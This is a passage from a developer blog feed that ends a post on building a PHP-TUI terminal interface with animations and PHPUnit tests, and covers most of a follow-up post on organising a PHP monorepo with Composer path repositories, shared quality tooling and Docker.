        foreach ($this-&gt;tabs as $tab) {
            $tabs[$tab-&gt;key()] = $tab-&gt;label();
        }

        return HotkeyTabsWidget::fromTabs($tabs)
            -&gt;focus($this-&gt;tabs[$this-&gt;focusedIndex]-&gt;key());
    }

    /** @return TTab */
    public function isFocused(): mixed
    {
        return $this-&gt;tabs[$this-&gt;focusedIndex];
    }
}
</code></pre>

<p><code>handle()</code> returns <code>ComponentState::Changed</code> when the focused tab changes, <code>Handled</code>
when the same tab's hotkey is pressed again, and <code>Ignored</code> for anything else.
The screen uses that distinction to decide whether to reset dependent state (e.g. the
choice input) or simply stay put.</p>

<p><code>build()</code> snapshots the current focus into a fresh <code>HotkeyTabsWidget</code> each frame.
The widget has no memory of previous frames; the component does.</p>

<h2 id="animations">Animations</h2>

<p>The Qalin banner is animated. When the user navigates between screens, it plays a
short animation: either a <strong>Beat</strong> (the logo contracts and shifts to magenta) or
<strong>Sparkles</strong> (sparkle characters appear on the logo).</p>

<p>Both implement the same <code>Animation</code> interface:</p>

<pre><code class="php">interface Animation
{
    public function animate(): void;
    public function logo(): array;
    public function logoStyle(): Style;
}
</code></pre>

<p><code>Beat</code> is time-based. It stores the moment <code>animate()</code> was called, then
<code>isBeating()</code> derives the current state from elapsed time:</p>

<pre><code class="php">final class Beat implements Animation
{
    private const BEAT_ON_SECONDS  = 0.15;
    private const BEAT_OFF_SECONDS = 0.1;
    private const BEAT_COUNT       = 2;

    private ?float $beatStartedAt = null;

    public function animate(): void
    {
        $this-&gt;beatStartedAt = $this-&gt;now();
    }

    public function logo(): array
    {
        return $this-&gt;isBeating() ? self::CONTRACTED_LOGO : QalinBanner::LOGO;
    }

    public function logoStyle(): Style
    {
        return $this-&gt;isBeating()
            ? Style::default()-&gt;fg(AnsiColor::Magenta)
            : Style::default()-&gt;fg(AnsiColor::Red);
    }

    private function isBeating(): bool
    {
        if (null === $this-&gt;beatStartedAt) {
            return false;
        }

        $elapsed = $this-&gt;now() - $this-&gt;beatStartedAt;
        $cycleSeconds = self::BEAT_ON_SECONDS + self::BEAT_OFF_SECONDS;
        $totalSeconds = self::BEAT_COUNT * $cycleSeconds;

        if ($elapsed &gt;= $totalSeconds) {
            $this-&gt;beatStartedAt = null;

            return false;
        }

        return fmod($elapsed, $cycleSeconds) &lt; self::BEAT_ON_SECONDS;
    }

    private function now(): float
    {
        return (float) $this-&gt;clock-&gt;now()-&gt;format('U.u');
    }
}
</code></pre>

<p>The animation has no state machine, no scheduler, no timer callback.
<code>logo()</code> and <code>logoStyle()</code> are called every frame (every 50 ms);
they read the clock, compute where we are in the animation, and return the right data.
When the animation is over, <code>beatStartedAt</code> is reset to <code>null</code>.</p>

<p><code>QalinAnimatedBanner</code> wraps the animations and exposes a single <code>widget()</code> method
for screens to use:</p>

<pre><code class="php">final class QalinAnimatedBanner
{
    public function animate(): void
    {
        $this-&gt;currentAnimation = $this-&gt;pickRandomAnimation();
        $this-&gt;currentAnimation-&gt;animate();
    }

    public function widget(): BannerWidget
    {
        $logo      = $this-&gt;currentAnimation?-&gt;logo()      ?? QalinBanner::LOGO;
        $logoStyle = $this-&gt;currentAnimation?-&gt;logoStyle() ?? Style::default()-&gt;fg(AnsiColor::Red);

        return QalinBanner::widgetWithLogo($logo, $logoStyle);
    }
}
</code></pre>

<p>Screens call <code>$this-&gt;qalinAnimatedBanner-&gt;animate()</code> on navigation events (entering and
leaving a screen), then let <code>widget()</code> return whatever frame the animation is currently on.</p>

<blockquote>
  <p>🎶 <strong>Symfony Clock</strong>: <code>ClockInterface</code> from <code>symfony/clock</code> lets the animation read
  the current time without coupling to <code>time()</code> or <code>microtime()</code>. In tests, swap in a
  <code>MockClock</code> and control time explicitly. For a feature as simple as a cosmetic
  animation the test value is low, but the approach scales cleanly to anything
  time-sensitive.</p>
</blockquote>

<h2 id="testing">Testing</h2>

<p>Testing a TUI application might sound tricky, but the architecture makes it
straightforward. There are three levels.</p>

<h3 id="spec-tests%3A-widgets-and-components-in-isolation">Spec tests: widgets and components in isolation</h3>

<p>Widgets and components are plain PHP classes with no terminal dependency.
Testing them is just instantiating, calling methods, and asserting state.</p>

<p><code>HotkeyTabsWidgetTest</code> covers construction, validation, focus switching, and styles:</p>

<pre><code class="php">/** @param array&lt;array-key, string&gt; $tabs */
#[DataProvider('tabsProvider')]
#[TestDox('It has hotkeyTabs: $scenario')]
public function test_it_has_hotkey_tabs(string $scenario, array $tabs): void
{
    $tabsWidget = HotkeyTabsWidget::fromTabs($tabs);

    $this-&gt;assertSame($tabs, $tabsWidget-&gt;hotkeyTabs);
}

public static function tabsProvider(): \Generator
{
    yield [
        'scenario' =&gt; "one as `['1' =&gt; 'TabA']` (`[hotkey =&gt; label]`)",
        'tabs' =&gt; ['1' =&gt; 'TabA'],
    ];
    yield [
        'scenario' =&gt; "many as `['1' =&gt; 'TabA', '2' =&gt; 'TabB', '3' =&gt; 'TabC']` (`[hotkey =&gt; label]`)",
        'tabs' =&gt; ['1' =&gt; 'TabA', '2' =&gt; 'TabB', '3' =&gt; 'TabC'],
    ];
}

/** @param array&lt;array-key, string&gt; $tabs */
#[DataProvider('invalidTabsProvider')]
#[TestDox('It fails when $scenario')]
public function test_it_fails_with_invalid_tabs(string $scenario, array $tabs): void
{
    $this-&gt;expectException(ValidationFailedException::class);

    HotkeyTabsWidget::fromTabs($tabs);
}

public static function invalidTabsProvider(): \Generator
{
    yield [
        'scenario' =&gt; 'hotkeyTabs is empty (`[]` given)',
        'tabs' =&gt; [],
    ];
    yield [
        'scenario' =&gt; "hotkey is more than one character (`['ab' =&gt; 'TabA']` given)",
        'tabs' =&gt; ['ab' =&gt; 'TabA'],
    ];
}
</code></pre>

<pre><code class="console">make phpunit arg='--testdox --order-by=default --filter HotkeyTabsWidgetTest'
</code></pre>

<pre><code>Hotkey Tabs Widget (Bl\Qa\Tests\Qalin\Spec\Infrastructure\PhpTui\Component\HotkeyTab\HotkeyTabsWidget)
 ✔ It has hotkeyTabs: one as `['1' =&gt; 'TabA']` (`[hotkey =&gt; label]`)
 ✔ It has hotkeyTabs: many as `['1' =&gt; 'TabA', '2' =&gt; 'TabB', '3' =&gt; 'TabC']` (`[hotkey =&gt; label]`)
 ✔ It has hotkeyTabs: with empty label (e.g. `['1' =&gt; '']`)
 ✔ It has constraint (e.g. Constraint::length(3): 1 content row + 2 border rows)
 ✔ It fails when hotkeyTabs is empty (`[]` given)
 ✔ It fails when hotkey is missing (`['TabA']` given)
 ✔ It fails when hotkey is empty (`['' =&gt; 'TabA']` given)
 ✔ It fails when hotkey is more than one character (`['ab' =&gt; 'TabA']` given)
 ✔ It has focusedHotkey: first one by default (e.g. `1` for `TabA`)
 ✔ It has focusedHotkey: can switch to another one (e.g. `focus('2')` for `TabB`)
 ✔ It fails when focusing on non existing hotkey (e.g. `focus('4')`)
 ✔ It has default style: hotkey in blue bold
 ✔ It has default style: focusedLabel in yellow bold
 ✔ It has default style: unfocusedLabels in dark gray
 ✔ It can customize style: hotkey
 ✔ It can customize style: focusedLabel
 ✔ It can customize style: unfocusedLabels
</code></pre>

<p><code>HotkeyTabsComponentTest</code> covers event handling and the <code>build()</code> snapshot:</p>

<pre><code class="php">#[TestDox("It reports ComponentState::Changed when pressing another tab's hotkey")]
public function test_it_reports_changed_when_pressing_another_tabs_hotkey(): void
{
    $tabs = HotkeyTabsComponent::fromTabs(HotkeyFixtureTab::cases());
    $tab  = HotkeyFixtureTab::TabB;

    $componentState = $tabs-&gt;handle(CharKeyEvent::new($tab-&gt;key()));

    $this-&gt;assertSame(ComponentState::Changed, $componentState);
    $this-&gt;assertSame($tab, $tabs-&gt;isFocused());
}

#[DataProvider('ignoredEventsProvider')]
#[TestDox('It reports ComponentState::Ignored when $scenario')]
public function test_it_reports_ignored(string $scenario, Event $event): void
{
    $tabs = HotkeyTabsComponent::fromTabs(HotkeyFixtureTab::cases());

    $componentState = $tabs-&gt;handle($event);

    $this-&gt;assertSame(ComponentState::Ignored, $componentState);
    $this-&gt;assertSame(HotkeyFixtureTab::TabA, $tabs-&gt;isFocused());
}

public static function ignoredEventsProvider(): \Generator
{
    yield [
        'scenario' =&gt; 'pressing an unregistered hotkey',
        'event' =&gt; CharKeyEvent::new('x'),
    ];
    yield [
        'scenario' =&gt; 'receiving a non CharKeyEvent (e.g. KeyCode::Tab)',
        'event' =&gt; CodedKeyEvent::new(KeyCode::Tab),
    ];
}
</code></pre>

<pre><code class="console">make phpunit arg='--testdox --order-by=default --filter HotkeyTabsComponentTest'
</code></pre>

<pre><code>Hotkey Tabs Component (Bl\Qa\Tests\Qalin\Spec\Infrastructure\PhpTui\Component\HotkeyTab\HotkeyTabsComponent)
 ✔ It builds HotkeyTabsWidget snapshotting current tabs and focused hotkey
 ✔ It reports ComponentState::Changed when pressing another tab's hotkey
 ✔ It reports ComponentState::Handled when pressing the focused tab's hotkey
 ✔ It reports ComponentState::Ignored when pressing an unregistered hotkey
 ✔ It reports ComponentState::Ignored when receiving a non CharKeyEvent (e.g. KeyCode::Tab)
</code></pre>

<p>No mocks. No test doubles. Just events and assertions.</p>

<h3 id="animation-tests%3A-controlling-time">Animation tests: controlling time</h3>

<p><code>Beat</code> uses <code>ClockInterface</code>, so <code>MockClock</code> from <code>symfony/clock</code> lets us freeze and
advance time to land on any frame.</p>

<p>Each frame test is parameterised with a data provider that yields one timing entry and
one entry per logo line. <code>#[TestDox]</code> interpolates <code>$scenario</code> from the provider to
produce a descriptive name for each case:</p>

<pre><code class="php">#[DataProvider('frame1Provider')]
#[TestDox('It renders frame 1: $scenario')]
public function test_it_renders_logo_frame_1(
    string $scenario,
    int $index,
    string $line,
): void {
    $mockClock = new MockClock('2024-01-01 00:00:00');
    $beat = new Beat($mockClock);
    $beat-&gt;animate();

    $this-&gt;assertSame($line, $beat-&gt;logo()[$index]);
    $this-&gt;assertEquals(Style::default()-&gt;fg(AnsiColor::Magenta), $beat-&gt;logoStyle());
}

public static function frame1Provider(): \Generator
{
    $lines = Beat::CONTRACTED_LOGO;

    yield [
        'scenario' =&gt; 'at t=0s: contracted logo, in magenta',
        'index' =&gt; 0,
        'line' =&gt; $lines[0],
    ];

    foreach ($lines as $index =&gt; $line) {
        yield [
            'scenario' =&gt; "`{$line}`",
            'index' =&gt; $index,
            'line' =&gt; $line,
        ];
    }
}
</code></pre>

<pre><code class="console">make phpunit arg='--testdox --order-by=default --filter BeatTest'
</code></pre>

<pre><code>Beat (Bl\Qa\Tests\Qalin\Spec\UserInterface\Tui\QalinAnimatedBanner\Beat)
 ✔ It renders frame 0: before animate(): default logo, in red
 ✔ It renders frame 0: `  ████      ████  `
 ✔ It renders frame 0: `████████  ████████`
 ✔ It renders frame 0: `██████████████████`
 ✔ It renders frame 0: `██████████████████`
 ✔ It renders frame 0: `   ████████████   `
 ✔ It renders frame 0: `      ██████      `
 ✔ It renders frame 1: at t=0s: contracted logo, in magenta
 ✔ It renders frame 1: `                  `
 ✔ It renders frame 1: `    ████  ████    `
 ✔ It renders frame 1: `   ████████████   `
 ✔ It renders frame 1: `     ████████     `
 ✔ It renders frame 1: `       ████       `
 ✔ It renders frame 1: `                  `
 ✔ It renders frame 2: at t=0.151s: default logo, in red
 ...
 ✔ It renders frame 4: at t=1.0s: default logo, in red
 ...
</code></pre>

<p>Each line of the logo is asserted individually. If the contracted logo shifts a pixel,
the failing test name tells you exactly which line broke and at which frame.</p>

<h3 id="integration-tests%3A-screens-end-to-end">Integration tests: screens end-to-end</h3>

<p>Screen tests exercise the full Symfony container and real HTTP client.
They drive the screen by sending the same events a user would: character keys,
tab presses, enter.</p>

<p>Required and invalid input cases are covered with data providers:</p>

<pre><code class="php">#[DataProvider('invalidInputProvider')]
#[TestDox('It fails when $scenario')]
public function test_it_fails_on_invalid_input(string $scenario, bool $preCreate, array $input): void
{
    if ($preCreate) {
        TestKernelSingleton::get()-&gt;actionRunner()-&gt;run(
            new SignUpNewPlayer($input['username'], PasswordPlainFixture::makeString()),
        );
    }

    $screen = TestKernelSingleton::get()-&gt;container()-&gt;get(UpgradeInstantlyForFreeScreen::class);

    foreach (str_split($input['username']) as $char) {
        $screen-&gt;handle(CharKeyEvent::new($char));
    }

    $screen-&gt;handle(CodedKeyEvent::new(KeyCode::Tab)); // username -&gt; upgradable
    foreach (str_split($input['upgradable_filter']) as $char) {
        $screen-&gt;handle(CharKeyEvent::new($char));
    }

    $screen-&gt;handle(CodedKeyEvent::new(KeyCode::Tab)); // upgradable -&gt; levels
    if ('' !== $input['levels_override']) {
        $screen-&gt;handle(CodedKeyEvent::new(KeyCode::Backspace)); // clear default '1'
        foreach (str_split($input['levels_override']) as $char) {
            $screen-&gt;handle(CharKeyEvent::new($char));
        }
    }

    $screen-&gt;handle(CodedKeyEvent::new(KeyCode::Tab)); // levels -&gt; Upgrade
    $result = $screen-&gt;handle(CodedKeyEvent::new(KeyCode::Enter)); // submit

    $this-&gt;assertInstanceOf(Stay::class, $result);
}

public static function invalidInputProvider(): \Iterator
{
    yield [
        'scenario' =&gt; 'invalid username',
        'preCreate' =&gt; false,
        'input' =&gt; ['username' =&gt; 'x', 'upgradable_filter' =&gt; '', 'levels_override' =&gt; ''],
    ];
    yield [
        'scenario' =&gt; 'invalid upgradable (ChoiceField: valid choices only)',
        'preCreate' =&gt; true,
        'input' =&gt; ['username' =&gt; UsernameFixture::makeString(), 'upgradable_filter' =&gt; 'zzz', 'levels_override' =&gt; ''],
    ];
    yield [
        'scenario' =&gt; 'invalid levels',
        'preCreate' =&gt; true,
        'input' =&gt; ['username' =&gt; UsernameFixture::makeString(), 'upgradable_filter' =&gt; '', 'levels_override' =&gt; '-1'],
    ];
}
</code></pre>

<p>The test arranges game state through Qalin's <code>ActionRunner</code> (the same one used by
the testsuite interface described in the previous article), then drives the TUI screen
purely through events. The terminal is never involved.</p>

<pre><code class="console">make phpunit arg='--testdox --order-by=default --filter UpgradeInstantlyForFreeScreenTest'
</code></pre>

<pre><code>Upgrade Instantly For Free Screen (Bl\Qa\Tests\Qalin\Integration\UserInterface\Tui\Action\UpgradeInstantlyForFreeScreen)
 ✔ It upgrades instantly for free
 ✔ It has levels as an optional field (defaults to 1)
 ✔ It has levels as an optional field (set to 2)
 ✔ It has username as a required field
 ✔ It has upgradable as a required field
 ✔ It fails when invalid username
 ✔ It fails when invalid upgradable (ChoiceField: valid choices only)
 ✔ It fails when invalid levels
 ✔ It reports Navigate to HomeScreen when pressing Esc
</code></pre>

<blockquote>
  <p>🤔 <strong>Retrospective</strong>: the screen integration tests send real HTTP requests to a live
  Qalin server at <code>localhost:8080</code> (configured via <code>QALIN_BASE_URI</code> in <code>.env.test</code>).
  That means running them requires the server to be up. It is consistent with the TUI's
  own design (the TUI calls the HTTP API rather than handlers in-process), but it makes
  the tests heavier than they need to be. A <code>MockHttpClient</code> from Symfony would remove
  the server dependency and make the tests faster and self-contained.</p>
</blockquote>

<h2 id="conclusion">Conclusion</h2>

<p>PHP-TUI brings the Ratatui model to PHP: a retained-mode widget system,
a constraint-based layout engine, and a clean event/render loop.</p>

<p>The architecture maps naturally to how we think about screens:</p>

<ul>
<li><code>Screen::build()</code> constructs a widget tree from current state: pure data, called every frame</li>
<li><code>Screen::handle()</code> processes one event and returns a navigation signal</li>
<li>Custom widgets encapsulate reusable rendering logic without coupling it to any screen</li>
</ul>

<p>What surprised me is how little PHP-TUI requires.
There is no framework to learn, no lifecycle to manage.</p>

<p><code>DisplayBuilder</code>, <code>Widget</code>, <code>WidgetRenderer</code>, and a handful of layout types
cover everything. The rest is just PHP.</p>

<p>After a couple of days, I'm delighted to say that this is now my favourite Qalin UI.
My geek honour is therefore saved 😼.</p>

<p>Want to learn more?</p>

<ul>
<li><a href="https://github.com/pyricau/bisouland/releases/tag/4.0.27">browse BisouLand / Qalin TUI source code on Github</a></li>
<li><a href="https://php-tui.github.io/php-tui/">PHP-TUI documentation</a></li>
<li><a href="/tags/extreme-legacy">read more about modernising this eXtreme Legacy app</a></li>
</ul>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[eXtreme Legacy 11: A PHP Monorepo of Apps and Packages]]></title>
            <link href="/2026/03/04/xl-11-monorepo.html"/>
            <updated>2026-03-04T00:00:00+00:00</updated>
            <id>/2026/03/04/xl-11-monorepo.html</id>
            <content type="html"><![CDATA[<p>BisouLand is an eXtreme Legacy (2005 LAMP) app, an idle browser game where players
take each other's Love Points by blowing kisses across clouds.</p>

<p>In this series, we're dealing with it as it is: a big ball of mud,
a spaghetti code base written by a student learning web development from online tutorials.</p>

<p>So far, we have:</p>

<ol>
<li><a href="/2025/09/10/xl-1-dockerizing-2005-lamp-app.html">🐋 got it to run in a local container</a></li>
<li><a href="/2025/09/17/xl-2-smoke-tests.html">💨 written Smoke Tests</a></li>
<li><a href="/2025/09/24/xl-3-end-to-end-tests.html">🎯 written End to End Tests</a></li>
<li><a href="/2025/10/01/xl-4-coding-standards.html">🧹 created and applied Coding Standards</a></li>
<li><a href="/2025/10/22/xl-5-pdo.html">⛃ migrated to PDO</a></li>
<li><a href="/2025/11/19/xl-6-php-8.html">🐘 upgraded PHP 5 to PHP 8</a></li>
<li><a href="/2025/11/26/xl-7-rector.html">🏡 applied automated refactorings using Rector</a></li>
<li><a href="/2025/12/03/xl-8-postgresql.html">🐘 migrated from MySQL to PostgreSQL</a></li>
<li><a href="/2026/01/21/xl-9-xss-vulnerability.html">🔒 fixed an XSS Vulnerability</a></li>
<li><a href="/2026/02/25/xl-10-qalin-test-control-interface-with-symfony.html">🎭 built Qalin: a Test Control Interface, with modern Symfony</a></li>
</ol>

<p>The XSS fix introduced clean domain objects (<code>Account</code>, <code>AuthToken</code>) and PDO PostgreSQL
adapters. Qalin, the modern Symfony application built alongside the monolith,
depends on those same objects to create test scenarios.</p>

<p>Now we have two applications and ten packages. That is where a <strong>monorepo</strong> comes in.</p>

<h2 id="the-problem">The Problem</h2>

<p>Adding Qalin turned a single-application repository into something bigger:
two apps and a growing set of shared packages.</p>

<p>In a multi-repository setup, each package lives in its own repository:
its own checkout, its own CI pipeline, its own version tag, its own Packagist entry.</p>

<p>Changing an interface that touches two packages means:</p>

<ol>
<li>Edit package A, commit, push, tag</li>
<li>Edit package B, bump the constraint to pick up the tag, commit, push</li>
<li>Edit the application, bump the constraint again, commit, push</li>
</ol>

<p>A change that touches one line of an interface requires three commits
across three repositories before you can test whether it compiles.</p>

<p>Cross-cutting tools face the same problem. A single PHPStan rule change
means updating ten <code>phpstan.neon.dist</code> files, one per package.</p>

<p>A monorepo solves this by putting everything in one place.</p>

<h2 id="the-structure">The Structure</h2>

<p>The root of the repository has two directories:</p>

<pre><code>bisouland/
├── apps/
│   ├── monolith/   ← the 2005 LAMP app
│   └── qa/         ← Qalin (Symfony 8)
└── packages/
    ├── bl-auth/
    ├── bl-auth-bundle/
    ├── bl-auth-pdopg/
    ├── bl-auth-tests/
    ├── bl-exception/
    ├── bl-exception-bundle/
    ├── bl-game/
    ├── bl-game-bundle/
    ├── bl-game-pdopg/
    └── bl-game-tests/
</code></pre>

<p>There is no root <code>composer.json</code>. Each application and each package manages its own
dependencies independently. What connects them is Composer's built-in support for
local path repositories.</p>

<h2 id="composer-path-repositories">Composer Path Repositories</h2>

<p>When Composer resolves a package, it normally fetches it from Packagist.
But packages do not have to be published to be used.
Composer supports a <code>path</code> repository type that points to a local directory:</p>

<pre><code class="json">{
    "repositories": [
        {"type": "path", "url": "../../packages/*"}
    ]
}
</code></pre>

<p>The <code>*</code> glob means every subdirectory under <code>packages/</code> is a potential package.
When you run <code>composer install</code>, Composer reads each subdirectory's <code>composer.json</code>,
finds the declared <code>name</code>, and makes it available as if it had been fetched from Packagist.</p>

<p>Here is the monolith's (app) <code>composer.json</code>:</p>

<pre><code class="json">{
    "name": "bl/monolith",
    "type": "project",
    "repositories": [
        {"type": "path", "url": "../../packages/*"}
    ],
    "require": {
        "php": "&gt;=8.5",
        "bl/auth": "*@dev",
        "bl/auth-pdopg": "*@dev",
        "bl/exception": "*@dev",
        "ext-curl": "*",
        "ext-pdo_pgsql": "*",
        "symfony/uid": "^8.0"
    }
}
</code></pre>

<p>The version constraint <code>*@dev</code> means "any version, at development stability".
Composer symlinks the local directory into <code>vendor/</code> rather than copying it,
so edits to the package source are immediately reflected without a <code>composer update</code>.</p>

<p>Packages can also depend on each other.
<code>bl/auth</code> depends on <code>bl/exception</code>, and declares its own path repository pointing upstream:</p>

<pre><code class="json">{
    "name": "bl/auth",
    "type": "library",
    "repositories": [
        {"type": "path", "url": "../*"}
    ],
    "require": {
        "php": "&gt;=8.5",
        "bl/exception": "*@dev",
        "symfony/uid": "^8.0"
    },
    "autoload": {
        "psr-4": {"Bl\\Auth\\": "src/"}
    }
}
</code></pre>

<h2 id="the-package-graph">The Package Graph</h2>

<p>The ten packages form a layered dependency graph. Each layer has a clear responsibility:</p>

<table>
<thead>
<tr>
  <th>Suffix</th>
  <th>Responsibility</th>
</tr>
</thead>
<tbody>
<tr>
  <td><em>(none)</em></td>
  <td>Domain model: interfaces, value objects, entities</td>
</tr>
<tr>
  <td><code>-pdopg</code></td>
  <td>Infrastructure: PDO PostgreSQL implementations</td>
</tr>
<tr>
  <td><code>-bundle</code></td>
  <td>Infrastructure: Symfony integration (service wiring)</td>
</tr>
<tr>
  <td><code>-tests</code></td>
  <td>Package unit tests and shared fixtures (builders, factories)</td>
</tr>
</tbody>
</table>

<p>The domain packages (<code>bl-auth</code>, <code>bl-game</code>) are framework-agnostic.
They declare interfaces and value objects but hold no framework dependency
beyond <code>symfony/uid</code> for UUID generation.</p>

<p>The infrastructure packages implement the domain interfaces using PDO.
The application never depends on the implementation directly; it depends on the interface
and relies on the Symfony bundle to provide the binding:</p>

<pre><code class="php">// packages/bl-auth-bundle/src/BlAuthBundle.php
final class BlAuthBundle extends AbstractBundle
{
    public function loadExtension(array $config, ContainerConfigurator $container, ContainerBuilder $builder): void
    {
        $container-&gt;services()
            -&gt;set(PdoPgSaveAuthToken::class)-&gt;autowire()-&gt;autoconfigure()
            -&gt;alias(SaveAuthToken::class, PdoPgSaveAuthToken::class);
    }
}
</code></pre>

<p><code>SaveAuthToken</code> is the domain interface. <code>PdoPgSaveAuthToken</code> is the PDO implementation.
The bundle connects them.</p>

<blockquote>
  <p>🤔 <strong>Retrospective</strong>: back in 2016, when I explored MonoRepos <a href="/2016/06/15/mars-rover-introduction.html#monolithic-repositories">with the Mars Rover series</a>,
  one thing I was wondering about was whether Symfony's autowiring would play
  nicely with bundles living in local path-repository packages.</p>
  
  <p>It does 🎉. Composer symlinks the package into <code>vendor/</code>, Symfony finds the
  bundle through the normal discovery mechanism, and autowiring resolves across
  package boundaries without any extra configuration.</p>
</blockquote>

<p>The test packages serve a dual purpose. They contain the package's own unit
tests, which PHPUnit discovers via the <code>packages-spec</code> suite in <code>apps/qa</code>.
They also expose builders and factories that other packages and applications
can import as test dependencies.</p>

<p><code>bl/auth-tests</code> for example provides <code>AccountFixture</code>, a static factory that
assembles a valid <code>Account</code> with randomised defaults and optional overrides:</p>

<pre><code class="php">// packages/bl-auth-tests/src/Fixtures/AccountFixture.php
final readonly class AccountFixture
{
    public static function make(
        ?AccountId $accountId = null,
        ?Username $username = null,
        ?PasswordHash $passwordHash = null,
    ): Account {
        return new Account(
            accountId: $accountId ?? AccountIdFixture::make(),
            username: $username ?? UsernameFixture::make(),
            passwordHash: $passwordHash ?? PasswordHashFixture::make(),
        );
    }
}
</code></pre>

<p><code>bl/game-tests</code> follows the same pattern, providing <code>PlayerFixture</code> and its value-object
companions. A unit test in the QA application can pull fixtures from both packages
without any setup duplication:</p>

<pre><code class="php">// apps/qa/tests/Qalin/Spec/Application/Action/SignUpNewPlayerHandlerTest.php
use Bl\Auth\Tests\Fixtures\Account\PasswordPlainFixture;
use Bl\Auth\Tests\Fixtures\Account\UsernameFixture;
use Bl\Game\Tests\Fixtures\PlayerFixture;

public function test_it_signs_up_a_new_player_for_a_given_username_and_password(): void
{
    $username = UsernameFixture::makeString();
    $passwordPlain = PasswordPlainFixture::makeString();
    $expectedPlayer = PlayerFixture::make();

    // ...
}
</code></pre>

<h2 id="one-place-for-quality">One Place for Quality</h2>

<p>Code quality is enforced from a single place: the QA application.</p>

<p><code>apps/qa/composer.json</code> lists all packages in <code>require</code> and all tools in <code>require-dev</code>:</p>

<pre><code class="json">{
    "name": "bl/qa",
    "type": "project",
    "repositories": [
        {"type": "path", "url": "../../packages/*"}
    ],
    "require": {
        "php": "&gt;=8.5",
        "ext-curl": "*",
        "ext-pdo_pgsql": "*",
        "bl/auth": "*@dev",
        "bl/auth-bundle": "*@dev",
        "bl/auth-pdopg": "*@dev",
        "bl/exception": "*@dev",
        "bl/exception-bundle": "*@dev",
        "bl/game": "*@dev",
        "bl/game-bundle": "*@dev",
        "bl/game-pdopg": "*@dev",
        "phpspec/prophecy-phpunit": "^2.5",
        "symfony/console": "^8.0.4",
        "symfony/framework-bundle": "^8.0.5",
        "symfony/monolog-bundle": "^4.0.1",
        "symfony/property-access": "^8.0.4",
        "symfony/property-info": "^8.0.5",
        "symfony/routing": "^8.0.4",
        "symfony/runtime": "^8.0.1",
        "symfony/serializer": "^8.0.5",
        "symfony/twig-bundle": "^8.0.4",
        "symfony/uid": "^8.0.4",
        "symfony/yaml": "^8.0.1"
    },
    "require-dev": {
        "bl/auth-tests": "*@dev",
        "bl/game-tests": "*@dev",
        "friendsofphp/php-cs-fixer": "^3.94.1",
        "jangregor/phpstan-prophecy": "^2.3",
        "phpstan/phpstan": "^2.1.39",
        "phpunit/phpunit": "^13",
        "rector/rector": "^2.3.7",
        "rector/swiss-knife": "^2.3.5",
        "symfony/dotenv": "^8.0",
        "symfony/http-client": "^8.0.5",
        "symfony/maker-bundle": "^1.66"
    },
    "config": {
        "allow-plugins": {
            "symfony/runtime": true
        },
        "bump-after-update": true,
        "sort-packages": true
    }
}
</code></pre>

<p>Each tool is configured to scan everything: all apps (QA, monolith) and all packages.</p>

<p><strong>PHPStan</strong> analyses them all at once:</p>

<pre><code class="neon"># apps/qa/phpstan.neon.dist
includes:
    - phpstan-baseline.neon
    - vendor/jangregor/phpstan-prophecy/extension.neon

parameters:
    level: 10
    paths:
        - src/
        - tests/
        - ../monolith/src/
        - ../../packages/
    excludePaths:
        - templates/maker/
    bootstrapFiles:
        - vendor/autoload.php
        - ../monolith/vendor/autoload.php
        # legacy code is in phpincludes/, not src/ - baseline is empty
</code></pre>

<p><strong>PHP CS Fixer</strong> scans the same three locations, but unlike PHPStan it reaches
into <code>phpincludes/</code>. Two legacy files that break the indentation rule are
excluded, and <code>declare_strict_types</code> is disabled: CS Fixer would apply it
blindly to every file, including the legacy ones where it causes fatal errors:</p>

<pre><code class="php">// apps/qa/.php-cs-fixer.dist.php
$finder = (new PhpCsFixer\Finder())
    -&gt;in([
        __DIR__,
        __DIR__.'/../monolith',
        __DIR__.'/../../packages',
    ])
    -&gt;exclude(['var'])
    -&gt;notPath([
        'phpincludes/bisous.php',
        'phpincludes/cerveau.php',
    ])
;

return (new PhpCsFixer\Config())
    -&gt;setRules([
        // ...
        'declare_strict_types' =&gt; false, // would break legacy phpincludes/
        // ...
    ])
    // ...
;
</code></pre>

<p><strong>Rector</strong> covers the same paths and applies the <code>TYPE_DECLARATION</code> set, which
includes adding <code>declare(strict_types=1)</code>. Unlike CS Fixer, Rector analyses
each file before modifying it and only applies the transformation where it is
safe to do so; legacy files in <code>phpincludes/</code> that would break are left alone:</p>

<pre><code class="php">// apps/qa/rector.php
return RectorConfig::configure()
    -&gt;withPaths([
        __DIR__,
        __DIR__.'/../monolith',
        __DIR__.'/../../packages',
    ])
    -&gt;withSkip([
        __DIR__.'/../monolith/vendor',
        __DIR__.'/../../packages/*/vendor',
        // ...
    ])
    -&gt;withSets([
        SetList::PHP_85,
        SetList::TYPE_DECLARATION, // adds declare(strict_types=1) where safe
        // ...
    ]);
</code></pre>

<p><strong>PHPUnit</strong> organises tests into named suites covering all packages and both apps:</p>

<pre><code class="xml">&lt;!-- apps/qa/phpunit.xml.dist --&gt;
&lt;testsuites&gt;
    &lt;testsuite name="packages-spec"&gt;
        &lt;directory&gt;../../packages&lt;/directory&gt;
    &lt;/testsuite&gt;
    &lt;testsuite name="qalin-spec"&gt;
        &lt;directory&gt;tests/spec&lt;/directory&gt;
    &lt;/testsuite&gt;
    &lt;testsuite name="qalin-integration"&gt;
        &lt;directory&gt;tests/integration&lt;/directory&gt;
    &lt;/testsuite&gt;
    &lt;testsuite name="monolith-smoke"&gt;
        &lt;directory&gt;tests/monolith/smoke&lt;/directory&gt;
    &lt;/testsuite&gt;
    &lt;testsuite name="monolith-end-to-end"&gt;
        &lt;directory&gt;tests/monolith/end-to-end&lt;/directory&gt;
    &lt;/testsuite&gt;
&lt;/testsuites&gt;
</code></pre>

<p>Running <code>make phpunit</code> from the QA application executes every package spec,
every Qalin test, and every monolith integration test in one command.</p>

<p>We can select a specific subset of tests, using PHPUnit's options:</p>

<pre><code>make phpunit arg='--testsuite qalin-spec,qalin-integration --filter Handler'
</code></pre>

<h2 id="docker-integration">Docker Integration</h2>

<p>Each application has its own <code>compose.yaml</code>. The QA application mounts the
packages directory and the monolith source as Docker volumes:</p>

<pre><code class="yaml"># apps/qa/compose.yaml (excerpt)
services:
  app:
    volumes:
      - ../../packages:/packages
      - ../monolith:/apps/monolith
      - bisouland-monolith_vendor:/apps/monolith/vendor
    networks:
      - bisouland-monolith_default
    ports:
      - "43010:8080"
</code></pre>

<p>Mounting the monolith's <code>vendor</code> from the monolith's own named volume
avoids duplicating the dependency installation.
The monolith must be started before the QA application so the named volume exists.
The root <code>apps-init</code> target enforces this order: it runs the monolith's <code>app-init</code>
